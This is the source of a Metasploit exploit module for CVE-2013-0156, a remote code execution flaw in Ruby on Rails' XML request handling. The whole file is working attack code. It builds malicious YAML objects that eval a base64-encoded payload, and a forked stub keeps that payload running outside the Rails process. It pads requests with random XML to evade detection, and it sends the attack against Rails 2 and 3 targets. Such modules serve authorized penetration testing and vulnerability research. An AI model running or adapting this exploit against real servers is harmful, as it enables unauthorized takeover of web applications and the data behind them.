Ruby on Rails - XML Processor YAML Deserialization Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::CmdStagerTFTP
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
			'Description'    => %q{
					This module exploits a remote code execution vulnerability in the XML request
				processor of the Ruby on Rails application framework. This vulnerability allows
				an attacker to instantiate a remote object, which in turn can be used to execute
				any ruby code remotely in the context of the application.

				This module has been tested across multiple versions of RoR 3.x and RoR 2.x
			},
			'Author'         =>
				[
					'charlisome',  # PoC
					'espes',       # PoC and Metasploit module
					'lian',        # Identified the RouteSet::NamedRouteCollection vector
					'hdm'          # Module merge/conversion/payload work
				],
			'License'        => MSF_LICENSE,
			'References'  =>
				[
					['CVE', '2013-0156'],
					['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156']
				],
			'Platform'       => 'ruby',
			'Arch'           => ARCH_RUBY,
			'Privileged'     => false,
			'Targets'        =>	[ ['Automatic', {} ] ],
			'DisclosureDate' => 'Jan 7 2013',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
				OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])

			], self.class)

		register_evasion_options(
			[
				OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
			], self.class)
	end


	#
	# This stub ensures that the payload runs outside of the Rails process
	# Otherwise, the session can be killed on timeout
	#
	def detached_payload_stub(code)
	%Q^
		code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
		if RUBY_PLATFORM =~ /mswin|mingw|win32/
			inp = IO.popen("ruby", "wb") rescue nil
			if inp
				inp.write(code)
				inp.close
			end
		else
			if ! Process.fork()
				eval(code) rescue nil
			end
		end
	^.strip.split(/\n/).map{|line| line.strip}.join("\n")
	end

	#
	# Create the YAML document that will be embedded into the XML
	#
	def build_yaml_rails2

		# Embed the payload with the detached stub
		code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
		yaml =
			"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
			"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
			"eval(%[#{code}].unpack(%[m0])[0]);' " +
			": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
			":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
			":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
		yaml
	end


	#
	# Create the YAML document that will be embedded into the XML
	#
	def build_yaml_rails3

		# Embed the payload with the detached stub
		code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
		yaml =
			"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
			"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
			"eval(%[#{code}].unpack(%[m0])[0]);' " +
			": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
		yaml
	end


	#
	# Create the XML wrapper with any desired evasion
	#
	def build_request(v)
		xml = ''

		elo = Rex::Text.rand_text_alpha(rand(12)+4)

		if datastore['XML::PadElement']
			xml << "<#{elo}>"

			1.upto(rand(1000)+50) do
				el = Rex::Text.rand_text_alpha(rand(12)+4)
				tp = ['string', 'integer'][ rand(2) ]
				xml << "<#{el} type='#{tp}'>"
				xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
				xml << "</#{el}>"
			end
		end

		el = Rex::Text.rand_text_alpha(rand(12)+4)
		xml << "<#{el} type='yaml'>"
		xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3)
		xml << "</#{el}>"

		if datastore['XML::PadElement']
			1.upto(rand(1000)+50) do
				el = Rex::Text.rand_text_alpha(rand(12)+4)
				tp = ['string', 'integer'][ rand(2) ]
				xml << "<#{el} type='#{tp}'>"
				xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
				xml << "</#{el}>"
			end

			xml << "</#{elo}>"
		end

		xml
	end

	#
	# Send the actual request
	#
	def exploit

		print_status("Sending Railsv3 request to #{rhost}:#{rport}...")
		res = send_request_cgi({
			'uri'    => datastore['URIPATH'] || "/",
			'method' => datastore['HTTP_METHOD'],
			'ctype'  => 'application/xml',
			'data'   => build_request(3)
		}, 25)
		handler

		print_status("Sending Railsv2 request to #{rhost}:#{rport}...")
		res = send_request_cgi({
			'uri'    => datastore['URIPATH'] || "/",
			'method' => datastore['HTTP_METHOD'],
			'ctype'  => 'application/xml',
			'data'   => build_request(2)
		}, 25)
		handler
	end
end